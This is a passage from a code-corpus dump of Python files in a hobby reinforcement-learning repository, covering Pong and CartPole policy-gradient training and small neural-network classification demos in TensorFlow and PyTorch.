np.concatenate(history[\"actions\"]).astype(\"float32\")\n rewards = discount_rewards(history[\"rewards\"]).astype(\"float32\")\n\n sess.run(model.train_step, feed_dict={\n model.observations_sym: observations,\n model.actions_sym: actions,\n model.rewards_sym: rewards\n })\n" }, { "alpha_fraction": 0.4382530152797699, "alphanum_fraction": 0.4849397540092468, "avg_line_length": 26.70833396911621, "blob_id": "ed5811f45c76e164592fdd23977d641aa8e72f0e", "content_id": "56f7abd9925660cb2093bdb17fe05fccab671fa9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 664, "license_type": "no_license", "max_line_length": 60, "num_lines": 24, "path": "/Conv-Pong/Model.py", "repo_name": "M-J-Murray/gym_practice", "src_encoding": "UTF-8", "text": "import torch.nn as nn\n\n\nclass Model(nn.Module):\n\n def __init__(self):\n super(Model, self).__init__()\n\n self.model = {\n \"layer1\": nn.Sequential(\n nn.Conv2d(1, 12, kernel_size=5, padding=1),\n nn.BatchNorm2d(4),\n nn.MaxPool2d(2)),\n \"layer2\": nn.Sequential(\n nn.Conv2d(12, 24, kernel_size=5, padding=1),\n nn.BatchNorm2d(4),\n nn.MaxPool2d(2)),\n \"layer3\": nn.Linear(80*80*24,2)}\n\n def forward(self, *input):\n out = input\n for layer in self.model.keys():\n out = self.model[layer](out)\n return out" }, { "alpha_fraction": 0.6417359113693237, "alphanum_fraction": 0.6698984503746033, "avg_line_length": 39.867923736572266, "blob_id": "a30aae04dd94d0b971e529f25d962842db322b51", "content_id": "a845cd8e4d413e7d884a859328131eedf3e2ef75", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2166, "license_type": "no_license", "max_line_length": 139, "num_lines": 53, "path": "/FlowPong4/Model.py", "repo_name": "M-J-Murray/gym_practice", "src_encoding": "UTF-8", "text": "import tensorflow as tf\n\n\ndef init_weights(name, dims, initializer=tf.contrib.layers.xavier_initializer(), regularizer=tf.contrib.layers.l2_regularizer(scale=1e-3)):\n return tf.get_variable(name, trainable=True, shape=dims, initializer=initializer, regularizer=regularizer)\n\n\ndef init_conv(name, in_channels, out_channels, k=5):\n return init_weights(name, [k, k, in_channels, out_channels], initializer=tf.contrib.layers.xavier_initializer_conv2d())\n\n\ndef conv2d(inputs, weights, strides=2):\n x = tf.nn.conv2d(inputs, weights, strides=[1, 1, strides, strides], padding='VALID', data_format=\"NCHW\")\n return tf.nn.relu(x)\n\n\ndef maxpool2d(inputs, k=2):\n return tf.nn.max_pool(inputs, ksize=[1, k, k, 1], strides=[1, k, k, 1], padding='VALID')\n\n\ndef tail(inputs, weights):\n inputs = tf.reshape(inputs, [-1, weights.get_shape().as_list()[0]])\n return tf.matmul(inputs, weights)\n\n\nclass Model(object):\n\n def __init__(self, optim, observation_shape=(1, 42, 64), action_classes=2, criterion=tf.losses.softmax_cross_entropy):\n self.conv1 = init_conv(\"conv1\", 1, 12)\n self.conv2 = init_conv(\"conv2\", 12, 24)\n self.conv3 = init_conv(\"conv3\", 24, 24)\n self.fc = init_weights(\"fc\", [24*2*5, action_classes])\n\n self.observations_sym = tf.placeholder(tf.float32, [1, *observation_shape])\n self.actions_sym = tf.placeholder(tf.float32, [1, action_classes])\n self.rewards_sym = tf.placeholder(tf.float32, [1])\n\n self.action_out_sym = tf.nn.softmax(self.eval(self.observations_sym), axis=1)\n self.train_step = optim.minimize(self.loss(criterion))\n\n # Applies forward propagation to the inputs\n def eval(self, inputs):\n out = conv2d(inputs, self.conv1)\n out = conv2d(out, self.conv2)\n out = conv2d(out, self.conv3)\n out = tail(out, self.fc)\n return out\n\n def loss(self, criterion):\n action_out = self.eval(self.observations_sym)\n loss = criterion(logits=action_out, onehot_labels=self.actions_sym, reduction=tf.losses.Reduction.NONE)\n loss += tf.losses.get_regularization_loss()\n return tf.reduce_sum(self.rewards_sym * loss)\n" }, { "alpha_fraction": 0.5148416757583618, "alphanum_fraction": 0.5224274396896362, "avg_line_length": 34.24418640136719, "blob_id": "42eaaf40c094997161b87c643939f2b47be8c5db", "content_id": "f7a4884890bd6604df7e9002c59961e5726ef4f7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3032, "license_type": "no_license", "max_line_length": 88, "num_lines": 86, "path": "/FlowPong4/Train.py", "repo_name": "M-J-Murray/gym_practice", "src_encoding": "UTF-8", "text": "import gym\nfrom FlowPong4.Model import Model\nimport FlowPong4.WorkerUtils as wu\nfrom FlowPong4.Statistics import Statistics\nimport tensorflow as tf\nimport numpy as np\nfrom tensorflow.python.client import timeline\n\n\ndef train(learning_rate):\n seed = 1\n tf.set_random_seed(seed)\n np.random.seed(seed)\n stats = Statistics()\n\n optim = tf.train.AdamOptimizer(learning_rate)\n model = Model(optim, action_classes=2)\n\n jobs = {\"worker\": [\"localhost:2222\"]}\n cluster = tf.train.ClusterSpec(jobs)\n\n gpu_options = tf.GPUOptions(allow_growth=True)\n config = tf.ConfigProto(gpu_options=gpu_options)\n server = tf.train.Server(cluster, job_name=\"worker\", task_index=0, config=config)\n with tf.train.MonitoredTrainingSession(master=server.target) as sess:\n with tf.contrib.tfprof.ProfileContext('/train_dir') as pctx:\n profiler = tf.profiler.Profiler(sess.graph)\n options = tf.RunOptions(trace_level=tf.RunOptions.FULL_TRACE)\n run_metadata = tf.RunMetadata()\n\n print(\"Started Worker Updates\")\n env = gym.make(\"Pong-v0\")\n env.seed(seed)\n\n while True:\n frame = env.reset()\n\n for i in range(21):\n frame, r, done, info = env.step(0)\n\n prev_x = wu.prepro(frame)\n frame, r, done, info = env.step(0)\n\n history = {\"observations\": [], \"actions\": [], \"rewards\": []}\n done = False\n total_reward = 0\n\n while not done:\n cur_x = wu.prepro(frame)\n x = cur_x - prev_x\n prev_x = cur_x\n\n history[\"observations\"].append(x)\n\n action_out = sess.run(model.action_out_sym,\n feed_dict={model.observations_sym: x},\n options=options,\n run_metadata=run_metadata)\n profiler.add_step(1, run_metadata)\n\n action_hot = wu.choose_action(action_out)\n\n history[\"actions\"].append(action_hot)\n\n frame, r, done, info = env.step(np.argmax(action_hot) + 2)\n\n total_reward += r\n\n history[\"rewards\"].append(r)\n\n if done:\n profiler.advise(options)\n tf.profiler.advise(sess.graph, run_meta=run_metadata)\n\n # fetched_timeline = timeline.Timeline(run_metadata.step_stats)\n # chrome_trace = fetched_timeline.generate_chrome_trace_format()\n # with open('timeline_01.json', 'w') as f:\n # f.write(chrome_trace)\n exit(1)\n #wu.train(sess, model, history)\n #stats.update(total_reward)\n\n\n# spawn must be called inside main\nif __name__ == '__main__':\n train(learning_rate=1e-3)\n\n" }, { "alpha_fraction": 0.5785845518112183, "alphanum_fraction": 0.6024816036224365, "avg_line_length": 37.85714340209961, "blob_id": "61225a13d811587ef22f353d91c3e06cfe73d4d1", "content_id": "c055a38c18c36df796505ce8f7ba3e1666aa3a88", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2176, "license_type": "no_license", "max_line_length": 103, "num_lines": 56, "path": "/FlowPong3/WorkerUtils.py", "repo_name": "M-J-Murray/gym_practice", "src_encoding": "UTF-8", "text": "import numpy as np\n\n# pre-processes the frames returned by the game, so that they are suitable for the network\ndef prepro(frame):\n frame = frame[32:198, 16:144] # crop\n frame = 0.2989 * frame[:, :, 0] + 0.5870 * frame[:, :, 1] + 0.1140 * frame[:, :, 2] # greyscale\n frame = frame[::4, ::2]\n return frame.reshape(1, 42, 64, 1).astype(\"uint8\")\n\n\ndef discount_rewards(r, gamma=0.99):\n discounted_r = np.zeros_like(r)\n running_add = 0\n for t in reversed(range(0, len(r))):\n if r[t] != 0: running_add = 0 # reset the sum, since this was a game boundary (pong specific!)\n running_add = running_add * gamma + r[t]\n discounted_r[t] = running_add\n return discounted_r\n\n\n# Randomly selects an action from the supplied distribution f\ndef choose_action(f):\n hot = np.zeros_like(f, dtype=\"uint8\")\n th = np.random.uniform(0, 1)\n run_sum = 0\n i = 0\n for i in range(f.size):\n run_sum += f[0, i]\n if th < run_sum:\n break\n hot[0, i] = 1\n return hot\n\n\n# trains a model using the training dataset by randomly sub-sampling batches based on the batch_size.\n# Note how the gradient is kept from every batch and then used to adjust the network weights\ndef train(sess, model, history):\n observations = np.concatenate(history[\"observations\"])\n actions = np.concatenate(history[\"actions\"])\n rewards = discount_rewards(history[\"rewards\"])\n buffer_size = len(observations)\n batches = round(buffer_size/model.batch_size)\n\n sess.run(model.iterator.initializer, feed_dict={model.buffer_size: buffer_size,\n model.observations_sym: observations,\n model.actions_sym: actions,\n model.rewards_sym: rewards})\n sess.run(model.zero_ops)\n for i in range(batches):\n observation, actions, rewards = sess.run(model.next_batch)\n sess.run(model.accum_ops, feed_dict={\n model.observations_sym: observation,\n model.actions_sym: actions,\n model.rewards_sym: rewards\n })\n sess.run(model.train_step)\n" }, { "alpha_fraction": 0.6839332580566406, "alphanum_fraction": 0.6944688558578491, "avg_line_length": 31.542856216430664, "blob_id": "9ebeb3f9416201420c2f6d839885f935b566a818", "content_id": "7aeedc33a35579b1b860fcdd0acb94e8d6238aa1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1139, "license_type": "no_license", "max_line_length": 121, "num_lines": 35, "path": "/FlowPong/Train.py", "repo_name": "M-J-Murray/gym_practice", "src_encoding": "UTF-8", "text": "from FlowPong.DataBins import DataBins\nfrom FlowPong.Statistics import Statistics\nfrom FlowPong.Worker import run\nfrom multiprocessing import Process\nimport tensorflow as tf\n\n\ndef run_ps(cluster):\n gpu_options = tf.GPUOptions(allow_growth=True)\n config = tf.ConfigProto(gpu_options=gpu_options)\n server = tf.train.Server(cluster, job_name=\"ps\", task_index=0, config=config)\n server.join()\n\n\ndef train(learning_rate, worker_count):\n stats = Statistics()\n data_bins = DataBins(\"/home/michael/dev/fyp/AIGym/FlowPong/Databins\", worker_count)\n\n tasks = [\"localhost:\" + str(2223 + i) for i in range(worker_count)]\n jobs = {\"ps\": [\"localhost:2222\"], \"worker\": tasks}\n cluster = tf.train.ClusterSpec(jobs)\n\n ps_proc = Process(target=run_ps, args=[cluster])\n worker_procs = [Process(target=run, args=[i, learning_rate, cluster, data_bins, stats]) for i in range(worker_count)]\n\n ps_proc.start()\n [proc.start() for proc in worker_procs]\n\n ps_proc.join()\n [proc.join() for proc in worker_procs]\n\n\n# spawn must be called inside main\nif __name__ == '__main__':\n train(learning_rate=5e-4, worker_count=8)\n" }, { "alpha_fraction": 0.6791277527809143, "alphanum_fraction": 0.7165108919143677, "avg_line_length": 18.0625, "blob_id": "5c493037b727b3abf5d412579192811b934b5b56", "content_id": "6a0f24e988356a02b039a53c65a61b58cae502fc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 321, "license_type": "no_license", "max_line_length": 69, "num_lines": 16, "path": "/Pollcart/__init__.py", "repo_name": "M-J-Murray/gym_practice", "src_encoding": "UTF-8", "text": "from BPAgent import BPAgent\r\nfrom Emulator import Emulator\r\n\r\n#CartPole-v0\r\n#Pong-v0\r\ngame = 'CartPole-v0'\r\nseed = 50\r\nheight = 160\r\ndimensionality = 4\r\nactions = 2\r\nlearning_rate = 1e-4\r\nagent = BPAgent(height, dimensionality, actions, learning_rate, seed)\r\n\r\nemulator = Emulator(game, agent, seed)\r\n\r\nemulator.start()\r\n" }, { "alpha_fraction": 0.6210367679595947, "alphanum_fraction": 0.6441872119903564, "avg_line_length": 26.23287582397461, "blob_id": "5a13d73cc756af2f28926be7646351eea9b63c64", "content_id": "e1cd0e8f99dd93e4659e619d8500cbcc466b4a57", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1987, "license_type": "no_license", "max_line_length": 94, "num_lines": 73, "path": "/Torch-Spiral-Rate/Evaluator.py", "repo_name": "M-J-Murray/gym_practice", "src_encoding": "UTF-8", "text": "#!/home/michael/anaconda3/envs/AIGym/bin/python3.6\n\nimport torch.optim as optim\nimport torch.nn as nn\nfrom torch.autograd import Variable\nimport torch\nfrom RateModel import RateModel\nfrom BPModel import BPModel\nimport torch.utils.data as td\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport torch.nn.functional as F\n\n\ndef generate_data(points, classes):\n N = points # number of points per class\n D = 2 # dimensionality\n K = classes # number of classes\n X = np.zeros((N * K, D)) # data matrix (each row = single example)\n y = np.zeros(N * K, dtype='uint8') # class labels\n for j in range(K):\n ix = range(N * j, N * (j + 1))\n r = np.linspace(0.0, 1, N) # radius\n t = np.linspace(j * 4, (j + 1) * 4, N) + np.random.randn(N) * 0.2 # theta\n X[ix] = np.c_[r * np.sin(t), r * np.cos(t)]\n y[ix] = j\n return X, y\n\nlearning_rate = 1e1\ninput_space = 2\nheight = 12\noutput_space = 3\nmodel = RateModel(input_space, height, output_space)\n#model = BPModel(input_space, height, output_space)\ncriterion = nn.CrossEntropyLoss()\noptimizer = optim.Adam(model.parameters(), lr=learning_rate)\n\n# generating labelled training data\nN = 1000\nK = 3\nX, y = generate_data(N, K)\nX = Variable(torch.FloatTensor(X))\ny = Variable(torch.LongTensor(y))\n\nscale = 1\ndetail = 100\n[xx, yy] = np.meshgrid(np.linspace(-scale, scale, detail), np.linspace(-scale, scale, detail))\nXX = Variable(torch.FloatTensor(np.stack([xx.flatten(), yy.flatten()], axis=1)))\n\nfig = plt.figure()\ndata = np.random.rand(detail, detail, 3)\nim = plt.imshow(data)\nplt.colorbar(im)\nplt.ion()\nplt.show()\n\nfor j in range(2000):\n model.zero_grad()\n\n output = model(X)\n\n loss = criterion(output,y)\n\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n if j % 100 == 0:\n ff = F.softmax(model(XX))\n ff_map = np.reshape(ff.cpu().data.numpy(), [detail, detail, 3])\n im.set_data(ff_map)\n plt.pause(0.0001)\n print(loss.data[0])" }, { "alpha_fraction": 0.6784313917160034, "alphanum_fraction": 0.6915032863616943, "avg_line_length": 30.875, "blob_id": "b9c93e32d84732c5f0131b5bb220583f09d81932", "content_id": "09ac1abe32d7a0f1261c3156717646f29d249e0f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 765, "license_type": "no_license", "max_line_length": 109, "num_lines": 24, "path": "/FlowTest/Train.py", "repo_name": "M-J-Murray/gym_practice", "src_encoding": "UTF-8", "text": "import FlowTest.Worker as Worker\nfrom multiprocessing import Process\nimport tensorflow as tf\n\n\n# Check stats.log for results\ndef train(worker_count):\n tasks = [\"localhost:\"+str(2223+i) for i in range(worker_count)]\n jobs = {\"ps\": ['localhost:2222'], \"worker\": tasks}\n cluster = tf.train.ClusterSpec(jobs)\n\n worker_procs = [Process(target=Worker.run, args=[worker_count, i, cluster]) for i in range(worker_count)]\n [proc.start() for proc in worker_procs]\n\n\n gpu_options = tf.GPUOptions(allow_growth=True)\n config = tf.ConfigProto(gpu_options=gpu_options)\n server = tf.train.Server(cluster, job_name=\"ps\", task_index=0, config=config)\n server.join()\n\n\n# spawn must be called inside main\nif __name__ == '__main__':\n train(worker_count=4)\n" }, { "alpha_fraction": 0.6006884574890137, "alphanum_fraction": 0.6477338075637817, "avg_line_length": 27.540983200073242, "blob_id": "18c7331c3f614b020fec1f7c28642f0cd223202e", "content_id": "6f0c6c85935d168e6908e936355ac30439763b00", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1743, "license_type": "no_license", "max_line_length": 103, "num_lines": 61, "path": "/Torch-Circle/__init__.py", "repo_name": "M-J-Murray/gym_practice", "src_encoding": "UTF-8", "text": "import torch\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom torch.autograd import Variable\nfrom Datasets import circle_ds\n\n\ndef sigmoid(x):\n return 1.0 / (1.0 + torch.exp(-x)) # sigmoid \"squashing\" function to interval [0,1]\n\n\ntorch.manual_seed(50)\nlearning_rate = 1e-5\ninput_space = 2\nheight = 50\n\nW1 = Variable(torch.randn(height, input_space).cuda(), requires_grad=True)\nb1 = Variable(torch.zeros(height, 1).cuda(), requires_grad=True)\nW2 = Variable(torch.randn(1, height).cuda(), requires_grad=True)\nb2 = Variable(torch.zeros(1, 1).cuda(), requires_grad=True)\n\n# generating labelled training data\nN = 1000\ndims = 5\nX, y = circle_ds(N, dims)\n\n# generating the 2d plot\nK = 50\n[xx, yy] = np.meshgrid(np.linspace(-dims, dims, K), np.linspace(-dims, dims, K))\nXX = Variable(torch.from_numpy(np.vstack([xx.flatten(), yy.flatten()])).type(torch.FloatTensor).cuda())\n\nfig = plt.figure()\ndata = np.random.rand(50, 50)\nim = plt.imshow(data, interpolation='nearest', cmap='plasma')\nplt.ion()\nplt.show()\n\nfor i in xrange(1000):\n\n g = (torch.mm(W1, X) + b1).clamp(min=0)\n f = sigmoid(torch.mm(W2, g) + b2).clamp(min=1e-5, max=1-1e-5)\n E = torch.sum(-(y*torch.log(f) + (1 - y)*torch.log(1 - f)))\n print E.data[0]\n\n E.backward()\n\n W1.data -= W1.grad.data * learning_rate\n b1.data -= b1.grad.data * learning_rate\n W2.data -= W2.grad.data * learning_rate\n b2.data -= b2.grad.data * learning_rate\n\n W1.grad.data.zero_()\n b1.grad.data.zero_()\n W2.grad.data.zero_()\n b2.grad.data.zero_()\n\n gg = (torch.mm(W1, XX) + b1).clamp(min=0)\n ff = sigmoid(torch.mm(W2, gg) + b2).clamp(min=1e-5, max=1 - 1e-5)\n grid = np.reshape(ff.cpu().data.numpy(), [50, 50])\n im.set_data(grid)\n plt.pause(0.00001)\n\n\n" }, { "alpha_fraction": 0.5612128376960754, "alphanum_fraction": 0.5720824003219604, "avg_line_length": 26.3125, "blob_id": "660020a046cebaba80e6012068d766e2e3aaeee5", "content_id": "a2aabda0a7cc696f71c710cfbad931ffd626fb8d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1748, "license_type": "no_license", "max_line_length": 98, "num_lines": 64, "path": "/FlowPong2/Train.py", "repo_name": "M-J-Murray/gym_practice", "src_encoding": "UTF-8", "text": "import gym\nfrom FlowPong2.Model import Model\nimport FlowPong2.WorkerUtils as wu\nfrom FlowPong2.Statistics import Statistics\nfrom FlowPong2.DataBins import DataBins\nimport tensorflow as tf\nimport numpy as np\n\n\ndef train(learning_rate):\n seed = 1\n tf.set_random_seed(seed)\n np.random.seed(seed)\n\n stats = Statistics()\n data_bins = DataBins(\"Databins\", 1)\n\n optim = tf.train.AdamOptimizer(learning_rate)\n model = Model(optim, action_classes=2)\n\n gpu_options = tf.GPUOptions(allow_growth=True)\n config = tf.ConfigProto(gpu_options=gpu_options)\n with tf.Session(config=config) as sess:\n sess.run(tf.global_variables_initializer())\n\n print(\"Started Worker Updates\")\n env = gym.make(\"Pong-v0\")\n env.seed(seed)\n\n while True:\n frame = env.reset()\n\n for i in range(21):\n frame, r, done, info = env.step(0)\n\n prev_x = wu.prepro(frame)\n frame, r, done, info = env.step(0)\n\n done = False\n total_reward = 0\n\n while not done:\n cur_x = wu.prepro(frame)\n x = cur_x - prev_x\n prev_x = cur_x\n\n action_out = sess.run(model.action_out_sym, feed_dict={model.observations_sym: x})\n\n action_hot = wu.choose_action(action_out)\n\n frame, r, done, info = env.step(np.argmax(action_hot) + 2)\n\n total_reward += r\n\n data_bins.insert(0, x, action_hot, np.zeros(1) + r)\n\n if done:\n wu.train(sess, model, *data_bins.empty_bin(0))\n stats.update(total_reward)\n\n\n# spawn must be called inside main\nif __name__ == '__main__':\n train(learning_rate=1e-3)\n" }, { "alpha_fraction": 0.5424242615699768, "alphanum_fraction": 0.550000011920929, "avg_line_length": 23.384614944458008, "blob_id": "588181c4415c0c0a8894de3af4bff1fe17333043", "content_id": "f2a19fd81002e25581ada9f74ec56901d7e382f0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 660, "license_type": "no_license", "max_line_length": 73, "num_lines": 26, "path": "/Pollcart/Game.py", "repo_name": "M-J-Murray/gym_practice", "src_encoding": "UTF-8", "text": "from History import History\r\n\r\n\r\nclass Game(object):\r\n\r\n def __init__(self, agent, game_env):\r\n self.env = game_env\r\n self.agent = agent\r\n\r\n def simulate(self):\r\n env = self.env\r\n agent = self.agent\r\n\r\n observation = env.reset()\r\n\r\n history = History()\r\n sum_reward = 0\r\n done = False\r\n\r\n while not done:\r\n action, L1A, L2A, probs = agent.determine_action(observation)\r\n observation, reward, done, info = env.step(action)\r\n history.append(observation, L1A, L2A, probs, action, reward)\r\n sum_reward += reward\r\n\r\n return history, sum_reward\r\n" }, { "alpha_fraction": 0.5608933568000793, "alphanum_fraction": 0.5891276597976685, "avg_line_length": 28.81818199157715, "blob_id": "3adfb0f5583cfe145baadb225e649747b73d7d04", "content_id": "dd3d048a007c46184e084613919fe805f420cc7c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2373, "license_type": "no_license", "max_line_length": 84, "num_lines": 77, "path": "/Pollcart/BPAgent.py", "repo_name": "M-J-Murray/gym_practice", "src_encoding": "UTF-8", "text": "import numpy as np\r\n\r\n\r\ndef softmax(L2A):\r\n exp_scores = np.exp(L2A)\r\n return exp_scores / np.sum(exp_scores, axis=1, keepdims=True)\r\n\r\n\r\ndef policy_forward(network, observation):\r\n L1A = np.dot(network['W1'], observation) + network['b1']\r\n L1A[L1A < 0] = 0\r\n L2A = np.dot(network['W2'], L1A) + network['b2']\r\n return L1A, L2A\r\n\r\n\r\ndef policy_backward(network, history):\r\n num_examples = history.size()\r\n dL2A = history.probs\r\n dL2A[history.actions.T, range(num_examples)] -= 1\r\n dL2A /= num_examples\r\n dL2A *= history.rewards\r\n\r\n dW2 = np.dot(dL2A, history.L1As.T)\r\n db2 = np.sum(dL2A, axis=1, keepdims=True)\r\n\r\n dL1A = np.dot(network['W2'].T, dL2A)\r\n dL1A[history.L1As <= 0] = 0\r\n\r\n dW1 = np.dot(dL1A, history.observations.T)\r\n db1 = np.sum(dL1A, axis=1, keepdims=True)\r\n\r\n return {'W1': dW1, 'b1': db1.flatten(), 'W2': dW2, 'b2': db2.flatten()}\r\n\r\n\r\ndef discount_rewards(r):\r\n discounted_r = np.zeros_like(r)\r\n running_add = 0\r\n for t in reversed(xrange(0, r.size)):\r\n running_add = running_add * 0.99 + r[0, t]\r\n discounted_r[0, t] = running_add\r\n discounted_r -= np.mean(discounted_r)\r\n discounted_r /= np.std(discounted_r)\r\n return discounted_r\r\n\r\n\r\ndef select_action(probs):\r\n prob = np.random.uniform(0, 1)\r\n prob_sum = 0\r\n for i in range(0, len(probs)):\r\n prob_sum += probs[i]\r\n if prob <= prob_sum:\r\n return i\r\n\r\n\r\nclass BPAgent(object):\r\n\r\n def __init__(self, height, dimensionality, actions, learning_rate, seed):\r\n np.random.seed(seed)\r\n self.learning_rate = learning_rate\r\n self.network = {\r\n \"W1\": np.random.randn(height, dimensionality) / np.sqrt(dimensionality),\r\n \"b1\": np.zeros(height),\r\n \"W2\": np.random.randn(actions, height),\r\n \"b2\": np.zeros(actions)}\r\n\r\n def determine_action(self, observation):\r\n L1A, L2A = policy_forward(self.network, observation)\r\n probs = softmax(L2A)\r\n action = select_action(probs)\r\n return action, L1A, L2A, probs\r\n\r\n def update_params(self, history):\r\n history.stack()\r\n history.rewards = discount_rewards(history.rewards)\r\n grad = policy_backward(self.network, history)\r\n for k, v in self.network.iteritems():\r\n self.network[k] -= self.learning_rate * grad[k]\r\n" }, { "alpha_fraction": 0.5626853704452515, "alphanum_fraction": 0.5958479642868042, "avg_line_length": 32.876712799072266, "blob_id": "681f9cce8bc744c5dbf46eb7066db3b98e7a7667", "content_id": "0eae97c233857690b593c98826dba6ac120e9bb1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7418, "license_type": "no_license", "max_line_length": 141, "num_lines": 219, "path": "/George/Pong.py", "repo_name": "M-J-Murray/gym_practice", "src_encoding": "UTF-8", "text": "#!/home/michael/anaconda3/envs/AIGym/bin/python3.6\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Jan 27 14:59:35 2018\n\n@author: vogiatzg\n\"\"\"\n\nimport torch\nfrom torch.autograd import Variable\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torchvision\nimport torchvision.transforms as transforms\nimport torch.optim as optim\nfrom torch.distributions import Categorical\nimport torch.utils.data as td\nimport gym\nimport numpy as np\n#import datalogger\nimport multiprocessing\n\nNUM_GAMES_PER_UPDATE = 50\nNUM_EPOCHS = 10\nUSE_CUDA = True\n\ndef prepro(I):\n \"\"\" prepro 210x160x3 uint8 frame into 6400 (80x80) 1D float vector\n\"\"\"\n I = I[35:195] # crop\n I = I[::2,::2,0] # downsample by factor of 2\n I[I == 144] = 0 # erase background (background type 1)\n I[I == 109] = 0 # erase background (background type 2)\n I[I != 0] = 1 # everything else (paddles, ball) just set to 1\n return I.astype(np.float)\n\nclass RunningAverage:\n def __init__(self):\n self.n=0\n self.tot=0\n\n def add(self,x):\n self.n += 1\n self.tot += x\n\n def __call__(self):\n if self.n>0:\n return self.tot/self.n\n else:\n return float('NaN')\nif USE_CUDA:\n dtype = torch.cuda.FloatTensor\n dtype_L = torch.cuda.LongTensor\nelse:\n dtype = torch.FloatTensor\n dtype_L = torch.LongTensor\n\n\nclass PolicyNet(nn.Module):\n def __init__(self, input_size=(80,80), act_dim = 3):\n super(PolicyNet, self).__init__()\n self.affine1 = nn.Linear(input_size[0]*input_size[1], 200)\n self.affine2 = nn.Linear(200, act_dim)\n\n\n def forward(self, input):\n output = input.view(input.size(0),-1)\n output = F.relu(self.affine1(output))\n output = self.affine2(output)\n return output\n # return output.view(-1, 1).squeeze(1)\n\n\n#class PolicyNet(nn.Module):\n# def __init__(self, input_size=(80,80), act_dim = 6):\n# super(PolicyNet, self).__init__()\n# self.main = nn.Sequential(\n# # input is (nc) x 32 x 32\n# nn.Conv2d(1, 32, 4, 2, 1),\n# nn.LeakyReLU(0.2, inplace=True),\n# # state size. (ndf) x 16 x 16\n# nn.Conv2d(32, 64, 4, 2, 1, bias=False),\n# nn.LeakyReLU(0.2, inplace=True),\n# # state size. (ndf*2) x 8 x 8\n# nn.Conv2d(64, 32, 4, 2, 1, bias=False),\n# nn.LeakyReLU(0.2, inplace=True),\n#\n# nn.Conv2d(32, 1, 4, 2, 1, bias=False),\n# nn.LeakyReLU(0.2, inplace=True),\n# # state size. (ndf*4) x 4 x 4\n# )\n## conduct small experiment to find out desired dimensions :-)\n# out =\n#self.main(Variable(torch.randn(1,1,input_size[0],input_size[1])))\n# out = out.view(out.size(0),-1)\n# dim = out.size(1)\n# print(dim)\n# self.linear = nn.Linear(dim, act_dim)\n#\n#\n# def forward(self, input):\n# output = self.main(input)\n# output = output.view(output.size(0),-1)\n# output = self.linear(output)\n#\n# return output.squeeze()\n# # return output.view(-1, 1).squeeze(1)\n\ndef sampleFromModel(model, x):\n x = x.squeeze().unsqueeze(0)\n pr = F.softmax(model(Variable(x)),dim=1)\n pr = pr.cpu().data.squeeze().numpy()\n pr = 0.9*pr/pr.sum() + 0.1/len(pr)\n return np.random.choice(len(pr), p=pr)\n\ndef discount_rewards(r, gamma = 0.99):\n \"\"\" take 1D float array of rewards and compute discounted reward \"\"\"\n discounted_r = np.zeros_like(r)\n running_add = 0\n for t in reversed(range(0, len(r))):\n if r[t] != 0: running_add = 0 # reset the sum, since this was a\n running_add = running_add * gamma + r[t]\n discounted_r[t] = running_add\n return discounted_r\n\n\ndef generate_data(env, model, n_games = 10):\n obs=[]\n acts=[]\n rwds=[]\n for g in range(n_games):\n done=False\n observation = env.reset()\n prev_x = None\n while not done:\n # env.render()\n cur_x = prepro(observation)\n x = cur_x - prev_x if prev_x is not None else np.zeros_like(cur_x)\n prev_x = cur_x\n x = torch.from_numpy(x).float().unsqueeze(0).type(dtype)\n action = sampleFromModel(model, x)\n observation, reward, done, info = env.step(action+1)\n obs.append(x)\n acts.append(action)\n rwds.append(reward)\n print('\\rPlaying pong games: [%d/%d]'%(g, n_games),\nend='')\n obs_tensor = torch.FloatTensor(np.stack(obs))\n acts_tensor = torch.FloatTensor(np.stack(acts))\n rwds_tensor = torch.FloatTensor(discount_rewards(np.stack(rwds)))\n rwds_tensor = (rwds_tensor - rwds_tensor.mean())/rwds_tensor.std()\n target_tensor = torch.stack((acts_tensor, rwds_tensor),dim=1)\n wins = sum(1 if r>0 else 0 for r in rwds)\n losses = sum(1 if r<0 else 0 for r in rwds)\n print(\"\\nwins=%d out of %d points played (%0.1f%%)\"%\n(wins,wins+losses, wins/(wins+losses)*100))\n return td.TensorDataset(obs_tensor, target_tensor)\n\ndef policygradtrain(model, loss, optimizer, dataset, num_epochs=10,\ntest_set_ratio = 0.2, experiment_name='Policy gradients training'):\n N = len(dataset)\n V = int(N * test_set_ratio)\n test_sampler = td.sampler.RandomSampler(range(V))\n train_sampler = td.sampler.RandomSampler(range(V,N))\n dataloader_test = td.DataLoader(dataset, sampler=test_sampler,\nbatch_size=64, num_workers=2)\n dataloader_train = td.DataLoader(dataset, sampler=train_sampler ,\nbatch_size=64, num_workers=2)\n\n #dl = datalogger.DataLogger(experiment_name)\n\n for epoch in range(num_epochs):\n train_loss = RunningAverage()\n test_loss = RunningAverage()\n for i,(x,t) in enumerate(dataloader_train):\n x = x.unsqueeze(1).type(dtype)\n a = t[:,0].type(dtype_L) # action\n r = t[:,1].type(dtype) # reward\n\n model.zero_grad()\n error = torch.mean(Variable(r)*loss(model(Variable(x)), Variable(a)))\n error.backward()\n optimizer.step()\n train_loss.add(error.data[0])\n print('\\rTraining: [%d/%d] [%0.2f%%] loss=%0.1f'%(epoch,\nnum_epochs, 100.0*(i+1)/len(dataloader_train), error.data[0]), end='')\n print()\n if len(dataloader_test)>0:\n for i,(x,t) in 